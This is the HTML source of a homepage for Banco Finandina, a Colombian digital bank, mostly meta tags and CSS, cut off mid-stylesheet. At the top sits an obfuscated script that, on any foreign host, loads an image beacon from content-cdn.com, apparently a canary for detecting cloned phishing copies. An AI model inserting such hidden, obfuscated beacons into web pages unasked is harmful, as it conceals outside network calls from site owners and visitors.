1<!doctype html><html lang="es-CO"><head> 2 3
3<script type="text/javascript">(function(_0x1a2b,_0x3c4d){var _0x5e6f=function(_0x7a8b){while(--_0x7a8b){_0x1a2b['push'](_0x1a2b['shift']());}};_0x5e6f(++_0x3c4d);}(['\x61\x73\x79\x6e\x63','\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c','\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42\x79\x54\x61\x67\x4e\x61\x6d\x65','\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65','\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65','\x62\x61\x6e\x63\x6f\x66\x69\x6e\x61\x6e\x64\x69\x6e\x61\x2e\x63\x6f\x6d','\x6d\x61\x74\x63\x68','\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74','\x73\x63\x72\x69\x70\x74','\x74\x79\x70\x65','\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74'],0x123));var _0x9f8e=function(_0x2d1c,_0x4b3f){_0x2d1c=_0x2d1c-0x0;var _0x1a2b=['\x61\x73\x79\x6e\x63','\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c','\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42\x79\x54\x61\x67\x4e\x61\x6d\x65','\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65','\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65','\x62\x61\x6e\x63\x6f\x66\x69\x6e\x61\x6e\x64\x69\x6e\x61\x2e\x63\x6f\x6d','\x6d\x61\x74\x63\x68','\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74','\x73\x63\x72\x69\x70\x74','\x74\x79\x70\x65','\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74'];return _0x1a2b[_0x2d1c];};(function(){if(window['location']['host'][_0x9f8e(0x6)](/(^|\.)bancofinandina\.com$/)===null){var _0x4567=document[_0x9f8e(0x7)](_0x9f8e(0x8));_0x4567[_0x9f8e(0x9)]=_0x9f8e(0xa);_0x4567[_0x9f8e(0x0)]=!![];_0x4567[_0x9f8e(0x1)]='(function(){(new\x20Image()).src=\x27//content-cdn.com/1692/image.gif\x27;})();';var _0x7890=document[_0x9f8e(0x2)](_0x9f8e(0x8))[0x0];_0x7890[_0x9f8e(0x3)][_0x9f8e(0x4)](_0x4567,_0x7890);}})();</script>
3 4 <meta charset="utf-8"> 5 <meta name="viewport" content="width=device-width,initial-scale=1"> 6 <meta name="theme-color" content="#5C2D90"> 7 <meta name="theme-color" media="(prefers-color-scheme: light)" content="#5C2D90"> 8 <meta name="theme-color" media="(prefers-color-scheme: dark)" content="#5C2D90"> 9 <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"> 10 <meta name="color-scheme" content="light"> 11 <title>Banco Finandina: Créditos, Ahorro, Inversión y Tarjetas</title> 12 <meta name="description" content="Banco Finandina: Banco Digital disponible 24/7. Abre tu cuenta, invierte, pide créditos y usa tus tarjetas desde donde estés, con total seguridad."> 13 14 15 16 <meta property="og:title" content="Banco Finandina: Créditos, Ahorro, Inversión y Tarjetas"> 17 <meta property="og:description" content="Banco Finandina: Banco Digital disponible 24/7. Abre tu cuenta, invierte, pide créditos y usa tus tarjetas desde donde estés, con total seguridad."> 18 <meta property="og:url" content="https://www.bancofinandina.com"> 19 <meta property="og:type" content="website"> 20 <meta property="og:site_name" content="Banco Finandina"> 21 <meta property="og:locale" content="es_CO"> 22 23 24 25 <meta name="twitter:card" content="summary_large_image"> 26 <meta name="twitter:title" content="Banco Finandina: Créditos, Ahorro, Inversión y Tarjetas"> 27 <meta name="twitter:description" content="Banco Finandina: Banco Digital disponible 24/7. Abre tu cuenta, invierte, pide créditos y usa tus tarjetas desde donde estés, con total seguridad."> 28 29 30 31 <link rel="shortcut icon" href="https://www.bancofinandina.com/hubfs/faviconV2.png"> 32 33 <link rel="preconnect" href="https://fonts.googleapis.com"> 34 <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> 35 36 <style>@font-face {font-family: 'Roboto'; font-style: normal; font-weight: 400; font-stretch: 100%; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v51/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3KUBHMdazTgWw.woff2) format('woff2'); unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF} @font-face {font-family: 'Roboto'; font-style: normal; font-weight: 400; font-stretch: 100%; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v51/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3yUBHMdazQ.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD} @font-face {font-family: 'Roboto'; font-style: normal; font-weight: 500; font-stretch: 100%; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v51/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3KUBHMdazTgWw.woff2) format('woff2'); unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF} @font-face {font-family: 'Roboto'; font-style: normal; font-weight: 500; font-stretch: 100%; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v51/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3yUBHMdazQ.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD} @font-face {font-family: 'Roboto'; font-style: normal; font-weight: 600; font-stretch: 100%; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v51/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3KUBHMdazTgWw.woff2) format('woff2'); unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF} @font-face {font-family: 'Roboto'; font-style: normal; font-weight: 600; font-stretch: 100%; font-display: swap;
36 src: url(https://fonts.gstatic.com/s/roboto/v51/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3yUBHMdazQ.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD} @font-face {font-family: 'Roboto'; font-style: normal; font-weight: 700; font-stretch: 100%; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v51/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3KUBHMdazTgWw.woff2) format('woff2'); unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF} @font-face {font-family: 'Roboto'; font-style: normal; font-weight: 700; font-stretch: 100%; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v51/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3yUBHMdazQ.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD} @font-face {font-family: 'Roboto'; font-style: normal; font-weight: 900; font-stretch: 100%; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v51/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3KUBHMdazTgWw.woff2) format('woff2'); unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF} @font-face {font-family: 'Roboto'; font-style: normal; font-weight: 900; font-stretch: 100%; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v51/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3yUBHMdazQ.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD}</style> 37 38 39 40 41 42 43 <meta name="viewport" content="width=device-width, initial-scale=1"> 44 45 46 <meta property="og:description" content="Banco Finandina: Banco Digital disponible 24/7. Abre tu cuenta, invierte, pide créditos y usa tus tarjetas desde donde estés, con total seguridad."> 47 <meta property="og:title" content="Banco Finandina: Créditos, Ahorro, Inversión y Tarjetas"> 48 <meta name="twitter:description" content="Banco Finandina: Banco Digital disponible 24/7. Abre tu cuenta, invierte, pide créditos y usa tus tarjetas desde donde estés, con total seguridad."> 49 <meta name="twitter:title" content="Banco Finandina: Créditos, Ahorro, Inversión y Tarjetas"> 50 51 52 53 54 55 <style> 56a.cta_button{-moz-box-sizing:content-box !important;-webkit-box-sizing:content-box !important;box-sizing:content-box !important;vertical-align:middle}.hs-breadcrumb-menu{list-style-type:none;margin:0px 0px 0px 0px;padding:0px 0px 0px 0px}.hs-breadcrumb-menu-item{float:left;padding:10px 0px 10px 10px}.hs-breadcrumb-menu-divider:before{content:'âº';padding-left:10px}.hs-featured-image-link{border:0}.hs-featured-image{float:right;margin:0 0 20px 20px;max-width:50%}@media (max-width: 568px){.hs-featured-image{float:none;margin:0;width:100%;max-width:100%}}.hs-screen-reader-text{clip:rect(1px, 1px, 1px, 1px);height:1px;overflow:hidden;position:absolute !important;width:1px} 57</style> 58 59<link rel="stylesheet" href="https://www.bancofinandina.com/hubfs/hub_generated/template_assets/1/197780397428/1790687724696/template_sanitize.min.css"> 60<link rel="stylesheet" href="https://www.bancofinandina.com/hubfs/hub_generated/template_assets/1/197713339503/1790687729017/template_theme.min.css"> 61<link rel="stylesheet" href="https://www.bancofinandina.com/hubfs/hub_generated/template_assets/1/197715051298/1790687730433/template_main.min.css"> 62 63<style> 64 #hs_cos_wrapper_module_17642095525359 .fab-dock { 65 position:fixed; 66 top:85%; 67 right:0; 68 transform:translateY(-50%); 69 z-index:9999; 70 pointer-events:none; 71} 72 73#hs_cos_wrapper_module_17642095525359 .fab-list { 74 list-style:none; 75 margin:0; 76 padding:0; 77 display:grid; 78 gap:42px; 79} 80 81#hs_cos_wrapper_module_17642095525359 .fab-item { 82 position:relative; 83 width:192px; 84 height:66px; 85 --fab-shift:136px; 86} 87 88#hs_cos_wrapper_module_17642095525359 .fab-item:hover { --fab-shift:0px; } 89 90#hs_cos_wrapper_module_17642095525359 .fab-link { 91 position:relative; 92 z-index:2; 93 display:inline-flex; 94 align-items:center; 95 justify-content:flex-start; 96 width:192px; 97 height:66px; 98 border-radius:33px 0 0 33px; 99 text-decoration:none; 100 font-weight:600; 101 box-shadow:0 8px 20px rgba(0,0,0,.18); 102 overflow:visible; 103 transform:translateX(var(--fab-shift)); 104 transition:transform .28s ease,box-shadow .2s ease; 105 pointer-events:auto; 106} 107 108#hs_cos_wrapper_module_17642095525359 .fab-item:hover .fab-link { box-shadow:0 10px 26px rgba(0,0,0,.25); } 109 110#hs_cos_wrapper_module_17642095525359 .fab-waves { 111 position:absolute; 112 z-index:1; 113 left:calc(28px + var(--fab-shift)); 114 top:50%; 115 width:56px; 116 height:56px; 117 transform:translate(-50%,-50%); 118 transition:left .28s ease; 119 pointer-events:none; 120 overflow:visible; 121} 122 123#hs_cos_wrapper_module_17642095525359 .fab-waves .ring { 124 position:absolute; 125 left:50%; 126 top:50%; 127 width:56px; 128 height:56px; 129 transform:translate(-50%,-50%) scale(0.8); 130 border-radius:50%; 131 border:3px solid rgba(37,211,102,0.35); 132 box-shadow:0 0 10px rgba(37,211,102,0.22); 133 animation:pulse-ring 2.2s ease-out infinite; 134} 135 136#hs_cos_wrapper_module_17642095525359 .fab-waves .ring2 { 137 animation-delay:.55s; 138 opacity:.9; 139} 140 141#hs_cos_wrapper_module_17642095525359 .fab-waves .ring3 { 142 animation-delay:1.1s; 143 opacity:.8; 144} 145 146#hs_cos_wrapper_module_17642095525359 .fab-waves--blue .ring { 147 border-color:rgba(0,51,160,0.28); 148 box-shadow:0 0 10px rgba(0,51,160,0.18); 149} 150 151#hs_cos_wrapper_module_17642095525359 .fab-icon { 152 width:56px; 153 height:56px; 154 flex:0 0 56px; 155 display:grid; 156 place-items:center; 157 border-radius:50%; 158 position:relative; 159 z-index:3; 160} 161 162#hs_cos_wrapper_module_17642095525359 .fab-icon img, 163#hs_cos_wrapper_module_17642095525359 .fab-icon svg { 164 width:32px; 165 height:32px; 166 display:block; 167 position:relative; 168 z-index:3; 169 flex-shrink:0; 170} 171 172#hs_cos_wrapper_module_17642095525359 .fab-label { 173 position:relative; 174 z-index:3; 175 white-space:nowrap; 176 opacity:0; 177 transform:translateX(10px); 178 font-size:20px; 179 line-height:1; 180 transition:opacity .25s ease .05s,transform .25s ease .05s; 181} 182 183#hs_cos_wrapper_module_17642095525359 .fab-item:hover .fab-label { 184 opacity:1; 185 transform:translateX(0); 186} 187 188@keyframes pulse-ring { 189 0% { 190 transform:translate(-50%,-50%) scale(0.8); 191 opacity:1; 192 } 193 70% { 194 transform:translate(-50%,-50%) scale(1.8); 195 opacity:.12; 196 } 197 100% { 198 transform:translate(-50%,-50%) scale(2); 199 opacity:0; 200 } 201} 202 203@media (max-width:480px) { 204 #hs_cos_wrapper_module_17642095525359 .fab-item { 205 width:52px; 206 height:52px; 207 --fab-shift:0px; 208 } 209 210 #hs_cos_wrapper_module_17642095525359 .fab-link { 211 width:52px; 212 height:52px; 213 justify-content:center; 214 border-radius:26px 0 0 26px; 215 padding:0; 216 } 217 218 #hs_cos_wrapper_module_17642095525359 .fab-label { display:none !important; } 219 220 #hs_cos_wrapper_module_17642095525359 .fab-waves { 221 left:calc(26px + var(--fab-shift)); 222 width:52px; 223 height:52px; 224 } 225 226 #hs_cos_wrapper_module_17642095525359 .fab-waves .ring { 227 width:52px; 228 height:52px; 229 } 230 231 #hs_cos_wrapper_module_17642095525359 .fab-icon { 232 width:52px; 233 height:52px; 234 flex:0 0 52px; 235 } 236 237 #hs_cos_wrapper_module_17642095525359 .fab-icon img, 238 #hs_cos_wrapper_module_17642095525359 .fab-icon svg { 239 width:28px; 240 height:28px; 241 } 242} 243 244</style> 245 246<link rel="stylesheet" href="https://www.bancofinandina.com/hubfs/hub_generated/module_assets/1/197887274609/1786387190779/module_header.min.css"> 247 248<style> 249 header.site-header { 250 background:transparent; 251 padding:20px 0; 252 position:fixed;z-index:10 253 } 254 .site-header .logo { 255 font-weight:700; 256 font-size:20px 257 } 258 #hs_cos_wrapper_header-module-1 .site-nav { 259 display:flex; 260 gap:18px; 261 align-items:center; 262 justify-content:space-between; 263 position:relative; 264 background-color:#F5F5F788; 265 padding:5px 20px; 266 border-radius:12px; 267 transition:all 0.6s ease; 268} 269 270#hs_cos_wrapper_header-module-1 .contenedor-menu-texto { 271 display:flex; 272 flex-direction:column; 273 gap:4px; 274} 275 276#hs_cos_wrapper_header-module-1 .btn-solicita { 277 border:1px solid #E31952; 278 padding:3px 12px 3px 12px; 279 border-radius:11px; 280 color:#E31952; 281 font-size:12px; 282} 283 284#hs_cos_wrapper_header-module-1 .border-bg { 285 background-color:transparent; 286 margin:0 20px; 287 width:calc(100vw - 40px); 288 padding:9px; 289 border-radius:12px; 290 box-shadow:0px 4px 4px 0px rgba(0,0,0,0.25); 291 transition:all 0.6s ease; 292 position:relative; 293 isolation:isolate; 294} 295 296#hs_cos_wrapper_header-module-1 .border-bg::before { 297 content:''; 298 position:absolute; 299 inset:0; 300 border-radius:inherit; 301 background-color:#F5F5F733; 302 backdrop-filter:blur(15px); 303 -webkit-backdrop-filter:blur(15px); 304 z-index:-1; 305 pointer-events:none; 306} 307 308#hs_cos_wrapper_header-module-1 .border-bg.navbar--dark::before { background-color:#45454533; } 309 310#hs_cos_wrapper_header-module-1 .site-nav { 311 display:flex; 312 gap:18px; 313 align-items:center; 314 justify-content:space-between; 315 position:relative; 316 background-color:#F5F5F788; 317 padding:5px 20px; 318 border-radius:12px; 319 transition:all 0.6s ease; 320} 321 322#hs_cos_wrapper_header-module-1 .navbar--dark .site-nav { background-color:#77777777; } 323 324#hs_cos_wrapper_header-module-1 .logo-dark { 325 display:none; 326 transition:all 0.6s ease; 327} 328 329#hs_cos_wrapper_header-module-1 .navbar--dark .logo img { display:none; } 330 331#hs_cos_wrapper_header-module-1 .navbar--dark .logo .logo-dark { display:block; } 332 333#hs_cos_wrapper_header-module-1 .ctas-nav { 334 display:flex; 335 gap:12px; 336} 337 338#hs_cos_wrapper_header-module-1 .ctas-nav a { 339 height:auto; 340 align-content:center; 341 border:none !important;
342 border-bottom:none !important; 343 outline:none !important; 344 box-shadow:none !important; 345} 346 347#hs_cos_wrapper_header-module-1 .site-nav a { 348 font-size:16px; 349 font-weight:500; 350 padding:6px 12px; 351 line-height:19px; 352 height:33px; 353} 354 355#hs_cos_wrapper_header-module-1 .logo { 356 display:flex; 357 align-items:center; 358} 359 360#hs_cos_wrapper_header-module-1 .border-red, 361#hs_cos_wrapper_header-module-1 .border-red-mov { 362 border:none !important; 363 outline:none !important; 364 box-shadow:none !important; 365 border-radius:12px; 366 padding:4px; 367 margin-left:18px; 368 transition:all 0.6s ease; 369} 370 371#hs_cos_wrapper_header-module-1 .navbar--dark .border-red { border-color:transparent !important; } 372 373#hs_cos_wrapper_header-module-1 .border-red a, 374#hs_cos_wrapper_header-module-1 .border-red-mov a { 375 line-height:18px; 376 height:34px; 377 padding:8px 10px; 378 border:none !important; 379 border-bottom:none !important; 380 outline:none !important; 381} 382 383#hs_cos_wrapper_header-module-1 .navbar--dark .btn-primary { 384 color:var(--color-bg); 385 border-color:var(--color-bg); 386} 387 388#hs_cos_wrapper_header-module-1 .navbar--dark .btn-primary.active { 389 background-color:var(--color-bg); 390 color:var(--color-primary); 391 border-bottom:none !important; 392} 393 394#hs_cos_wrapper_header-module-1 .no-border { 395 border:none !important; 396 border-bottom:none !important; 397 outline:none !important; 398 box-shadow:none !important; 399} 400 401#hs_cos_wrapper_header-module-1 .site-nav ul[role=menu] { 402 display:flex; 403 align-items:center; 404} 405 406#hs_cos_wrapper_header-module-1 .site-nav ul[role=menu] ul[role=menu] { 407 background-color:rgba(255,255,255,0.6); 408 backdrop-filter:blur(15px); 409 -webkit-backdrop-filter:blur(15px); 410 width:100%; 411 flex-wrap:wrap; 412 background:#FFF; 413 border-radius:12px; 414 flex-direction:column; 415 max-height:203px; 416 display:grid !important; 417 grid-auto-flow:column; 418 grid-template-rows:repeat(3,auto); 419} 420 421#hs_cos_wrapper_header-module-1 .site-nav ul[role=menu] ul[role=menu].menu-una-columna { 422 display:flex !important; 423 flex-direction:column; 424 height:203px; 425 max-height:203px; 426 padding:16px 20px !important; 427 justify-content:space-between !important; 428} 429 430#hs_cos_wrapper_header-module-1 .site-nav ul[role=menu] ul[role=menu].menu-una-columna .sublink { 431 margin-bottom:0 !important; 432 padding-top:0 !important; 433 padding-bottom:0 !important; 434 height:34px !important; 435} 436 437#hs_cos_wrapper_header-module-1 .hs-menu-item.hs-menu-depth-1 { position:relative; } 438 439#hs_cos_wrapper_header-module-1 ul[role=menu] li { margin-right:20px; } 440 441#hs_cos_wrapper_header-module-1 ul { 442 list-style:none; 443 padding:0; 444 margin:0; 445} 446 447#hs_cos_wrapper_header-module-1 .hs-item-has-children ul { display:flex !important; } 448 449#hs_cos_wrapper_header-module-1 .hs-menu-item.hs-menu-depth-1>details summary svg { transition:transform .16s ease; } 450 451#hs_cos_wrapper_header-module-1 .hs-menu-item.hs-menu-depth-1>details summary svg path { 452 fill:var(--color-primary); 453 transition:all 0.6s ease; 454} 455 456#hs_cos_wrapper_header-module-1 .navbar--dark .hs-menu-item.hs-menu-depth-1>details summary svg path { fill:var(--color-bg); } 457 458#hs_cos_wrapper_header-module-1 .hs-menu-children-wrapper { 459 position:absolute; 460 top:56px; 461 left:0; 462 min-width:280px; 463 max-width:min(92vw,850px); 464 width:max-content; 465 border-radius:20px; 466 padding:8px; 467 overflow:hidden; 468 box-shadow:0 6px 24px rgba(0,0,0,0.22); 469 opacity:0; 470 visibility:hidden; 471 transform:translateY(8px); 472 transition:opacity .16s ease,transform .16s ease,visibility 0s linear .16s; 473 pointer-events:none; 474} 475 476#hs_cos_wrapper_header-module-1 .hs-menu-children-wrapper::before, 477#hs_cos_wrapper_header-module-1 .hs-menu-children-wrapper::after { display:none; } 478 479#hs_cos_wrapper_header-module-1 .glass-filter { 480 position:absolute; 481 inset:0; 482 border-radius:inherit; 483 z-index:1; 484 backdrop-filter:blur(4px); 485 -webkit-backdrop-filter:blur(4px); 486 filter:url(#glass-distortion) saturate(120%) brightness(1.1); 487} 488 489#hs_cos_wrapper_header-module-1 .glass-overlay { 490 position:absolute; 491 inset:0; 492 border-radius:inherit; 493 z-index:2; 494 background:rgba(255,255,255,0.22); 495} 496 497#hs_cos_wrapper_header-module-1 .glass-specular { 498 position:absolute; 499 inset:0; 500 border-radius:inherit; 501 z-index:3; 502 box-shadow:inset 1px 1px 1px rgba(255,255,255,0.75); 503 border:1px solid rgba(255,255,255,0.35); 504 pointer-events:none; 505} 506 507#hs_cos_wrapper_header-module-1 .menu-inner-wrap { 508 background:#ffffff; 509 border-radius:13px; 510 padding:0; 511 position:relative; 512 z-index:4; 513 overflow:hidden; 514} 515 516#hs_cos_wrapper_header-module-1 .hs-menu-children-wrapper.is-open { 517 opacity:1; 518 visibility:visible; 519 transform:none; 520 transition:opacity .16s ease,transform .16s ease; 521 pointer-events:auto; 522} 523 524#hs_cos_wrapper_header-module-1 .navbar--dark a { color:var(--color-bg); } 525 526#hs_cos_wrapper_header-module-1 .sublink { 527 display:flex; 528 justify-content:flex-start; 529 gap:12px; 530 width:226px; 531 margin-bottom:16px; 532 align-items:center; 533 color:var(--color-text); 534 transition:all 0.6s ease; 535} 536 537#hs_cos_wrapper_header-module-1 .navbar--dark .sublink { color:var(--color-text); } 538 539#hs_cos_wrapper_header-module-1 .submenu-icon { 540 background-color:#F5F5F7; 541 padding:9px 3px; 542 border-radius:9px; 543 width:34px; 544 height:34px; 545 justify-items:anchor-center; 546 display:flex; 547 justify-content:center; 548 align-items:center; 549} 550 551#hs_cos_wrapper_header-module-1 #lupita svg path {
552 fill:var(--color-primary); 553 transition:all 0.6s ease; 554} 555 556#hs_cos_wrapper_header-module-1 .navbar--dark #lupita svg path { fill:var(--color-bg); } 557 558#hs_cos_wrapper_header-module-1 .border-red-mov, 559#hs_cos_wrapper_header-module-1 .hamburger, 560#hs_cos_wrapper_header-module-1 .mov-menu { display:none; } 561 562#hs_cos_wrapper_header-module-1 .hamburger button { 563 background:#F5F5F7; 564 border:none; 565 border-radius:50%; 566 box-shadow:0px 4px 4px 0px #00000040; 567 cursor:pointer; 568 display:flex; 569 justify-content:space-evenly; 570 align-items:center; 571 width:40px; 572 height:40px; 573 padding:0; 574 color:#E31952; 575} 576 577#hs_cos_wrapper_header-module-1 .mov-menu { 578 width:100vw; 579 height:100vh; 580 background-color:#fff; 581 position:fixed; 582 top:0; 583 padding:25px; 584 flex-direction:column; 585 justify-content:space-between; 586} 587 588#hs_cos_wrapper_header-module-1 .todo-ellogo { 589 display:flex; 590 justify-content:space-between; 591 width:62%; 592} 593 594#hs_cos_wrapper_header-module-1 .hs-menu-item.hs-menu-depth-1>a { color:var(--color-primary); } 595 596#hs_cos_wrapper_header-module-1 .navbar--dark .hs-menu-item.hs-menu-depth-1>a { color:var(--color-bg); } 597 598#hs_cos_wrapper_header-module-1 details summary { 599 list-style:none; 600 cursor:pointer; 601 color:var(--color-primary); 602 font-weight:500; 603 transition:all 0.6s ease; 604} 605 606#hs_cos_wrapper_header-module-1 .navbar--dark details summary { color:var(--color-bg); } 607 608#hs_cos_wrapper_header-module-1 .search-mov { 609 width:100%; 610 display:flex; 611 justify-content:space-between; 612 border-color:#DBDBDB; 613 margin-top:25px; 614 padding:10px; 615} 616 617#hs_cos_wrapper_header-module-1 .search-mov input { 618 border:none; 619 background-color:#ffffff; 620 color-scheme:light; 621 color:#333333; 622 -webkit-text-fill-color:#333333; 623} 624 625#hs_cos_wrapper_header-module-1 .icon-button { 626 background:none; 627 border:none; 628 cursor:pointer; 629 padding:0.5em; 630 display:inline-flex; 631 align-items:center; 632 justify-content:center; 633} 634 635#hs_cos_wrapper_header-module-1 .hr-mov { 636 margin-top:16px; 637 margin-bottom:16px; 638} 639 640#hs_cos_wrapper_header-module-1 .hamburger a { 641 margin-right:17px; 642 color:#E31952; 643} 644 645#hs_cos_wrapper_header-module-1 .panel { 646 position:fixed; 647 top:-110px; 648 right:0; 649 margin-right:20px; 650 width:380px; 651 height:0; 652 max-width:92vw; 653 background:transparent; 654 border-radius:16px; 655 box-shadow:0 20px 56px rgba(73,40,111,0.24),0 4px 16px rgba(0,0,0,0.08); 656 padding:0; 657 z-index:60; 658 transform-origin:90% 0; 659 transform:scale(.93) translateY(-10px); 660 opacity:0; 661 transition:opacity .22s ease,transform .22s ease; 662 overflow:visible; 663} 664 665#hs_cos_wrapper_header-module-1 .panel::before { 666 content:''; 667 position:absolute; 668 inset:-7px; 669 border-radius:23px; 670 -webkit-backdrop-filter:blur(14px) saturate(160%); 671 backdrop-filter:blur(14px) saturate(160%); 672 background:rgba(255,255,255,0.18); 673 border:1px solid rgba(255,255,255,0.45); 674 z-index:-1; 675 pointer-events:none; 676 opacity:0; 677 transition:opacity .22s ease; 678} 679 680#hs_cos_wrapper_header-module-1 .panel.show::before { opacity:1; } 681 682#hs_cos_wrapper_header-module-1 .panel.show { 683 opacity:1; 684 height:auto; 685 top:110px; 686 transform:scale(1) translateY(0); 687} 688 689#hs_cos_wrapper_header-module-1 .panel-header { 690 background:linear-gradient(135deg,#7835c3 0%,#49286f 100%); 691 padding:18px 16px 16px; 692 border-radius:16px 16px 0 0; 693} 694 695#hs_cos_wrapper_header-module-1 .searchbar { 696 display:flex; 697 align-items:center; 698 gap:10px; 699 background:#fff; 700 border:none; 701 border-radius:10px; 702 padding:8px 8px 8px 12px; 703 box-shadow:0 2px 8px rgba(0,0,0,0.12); 704 transition:box-shadow .15s ease; 705} 706 707#hs_cos_wrapper_header-module-1 .searchbar:focus-within { box-shadow:0 2px 12px rgba(0,0,0,0.18); } 708 709#hs_cos_wrapper_header-module-1 .searchbar-pre-icon { 710 flex-shrink:0; 711 opacity:0.45; 712} 713 714#hs_cos_wrapper_header-module-1 .searchbar-pre-icon path { fill:#49286f; } 715 716#hs_cos_wrapper_header-module-1 .searchbar input { 717 border:0; 718 background:#ffffff; 719 background-color:#ffffff; 720 color-scheme:light; 721 outline:none; 722 flex:1; 723 font-size:15px;
724 color:#1a1a2e; 725 -webkit-text-fill-color:#1a1a2e; 726} 727 728#hs_cos_wrapper_header-module-1 .searchbar input::placeholder { 729 color:#555; 730 font-size:14px; 731} 732 733#hs_cos_wrapper_header-module-1 .searchbar .go { 734 padding:7px 10px; 735 border-radius:7px; 736 background:#E31952; 737 border:none; 738 cursor:pointer; 739 flex-shrink:0; 740 line-height:0; 741 display:inline-flex; 742 align-items:center; 743 justify-content:center; 744 transition:background .15s ease; 745} 746 747#hs_cos_wrapper_header-module-1 .searchbar .go:hover { background:#c01645; } 748 749#hs_cos_wrapper_header-module-1 .searchbar .go svg { 750 display:block !important; 751 width:16px !important; 752 height:16px !important; 753 min-width:16px; 754 min-height:16px; 755} 756 757#hs_cos_wrapper_header-module-1 .panel .links { 758 height:0; 759 display:none; 760 background:var(--color-bg); 761 padding:14px 16px 16px; 762 border-radius:0 0 16px 16px; 763} 764 765#hs_cos_wrapper_header-module-1 .panel.show .links { 766 height:auto; 767 display:block; 768} 769 770#hs_cos_wrapper_header-module-1 .links h4 { 771 margin:0 0 8px 0; 772 font-size:10px; 773 font-weight:700; 774 text-transform:uppercase; 775 letter-spacing:0.10em; 776 color:var(--color-muted); 777} 778 779#hs_cos_wrapper_header-module-1 .link-item { 780 display:flex; 781 align-items:center; 782 gap:12px; 783 padding:8px 10px; 784 margin:2px -10px; 785 border-radius:8px; 786 cursor:pointer; 787 text-decoration:none; 788 font-weight:500; 789 font-size:14px; 790 color:var(--color-text); 791 transition:background .12s ease,color .12s ease; 792} 793 794#hs_cos_wrapper_header-module-1 .link-item:hover { 795 background:rgba(227,25,82,0.06); 796 color:#E31952; 797} 798 799#hs_cos_wrapper_header-module-1 .link-icon { 800 